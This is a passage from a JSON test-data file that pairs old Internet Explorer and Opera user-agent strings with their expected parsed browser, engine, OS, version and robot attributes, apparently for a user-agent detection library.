5.1; .NET CLR 1.0.3705)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avast Browser [avastye.com]; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer 1.5.0; .NET CLR 1.0.3705)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FREE; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; (R1 1.3); .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "realplayer", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.6 (build 01425))" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "6", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "minor" : ".0", "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "version" : 6 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Deepnet Explorer)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Netcraft SSL Server Survey - contact info@netcraft.com)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "6", "match" : [ "robot", "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "minor" : ".0", "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "robot" : "unknown", "robot_string" : "Netcraft SSL Server Survey - contact info@netcraft.com", "version" : 6 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Babya Discoverer 8.0:" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "6", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet", "robot" ], "minor" : ".0", "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "robot" : "unknown", "robot_string" : "Babya Discoverer 8.0:", "version" : 6 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) NS8/0.9.6" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "robot", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : "unknown", "robot_beta" : ".2", "robot_major" : "10", "robot_minor" : ".0", "robot_name" : "XMPP Tiscali Communicator", "robot_version" : "10.0" }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0); Connect Us: webauth@cmcm.com" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Crazy Browser 2.0.0 Beta 1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "6", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "version" : 6 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DigExt; MRA 4.3 (build 01218))" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; MRA 4.6 (build 01425); .NET CLR 1.1.4322; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.4 (build 01323))" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425); MRSPUTNIK 1, 5, 0, 19 SW)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; yplus 4.4.02b)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00" : { "browser" : "opera", "browser_major" : "8", "browser_minor" : ".00", "browser_string" : "Opera", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "opera" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.0" : { "browser" : "opera", "browser_string" : "Opera", "language" : "EN", "major" : "9", "match" : [ "windows", "winnt", "win32", "winxp", "opera" ], "minor" : ".0", "os" : "windows", "os_string" : "WinXP", "public_major" : "9", "public_minor" : ".0", "public_version" : 9, "version" : 9 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.511)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5119)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5132)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5137)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5138)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5141)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5148)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5159)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5168)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5175)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5179)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5183)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5188)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5190)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5191)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.5192)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; AMD64)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k3", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "Win2k3", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0)" : { "beta" : "b", "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "6", "match" : [ "windows", "win98", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "minor" : ".0", "os" : "windows", "os_string" : "Win98", "public_beta" : "b", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "version" : 6 }, "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "AOL Browser", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "aol", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; MS-RTC LM 8; DTCuser; DTCuser)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506; AskTbARS/5.8.0.12304)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AskTbPTV/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; BTRS31753; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; EmbeddedWB 14.52 from: http://www.bsalsa.com/ EmbeddedWB 14.52; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; FunWebProducts; GTB7.0; .NET CLR 2.0.50727; InfoPath.2; AskTbLMW2/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB7.0; AskTbPTV2/5.11.3.15590; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; AskTbBLPV5/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; QQDownload 1.7; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SIMBAR={11B2B4E1-5AF0-4FC7-A2AD-AB681B4D2B3D}; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SearchToolbar 1.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SearchToolbar 1.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; AskTbSTC/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ESPE)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; AskTbFXTV5/5.11.3.15590; GreenBrowser)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; AskTbSTC/5.9.1.14019),gzip(gfe) (via translate.google.com)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; Zune 4.7; .NET4.0E; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", 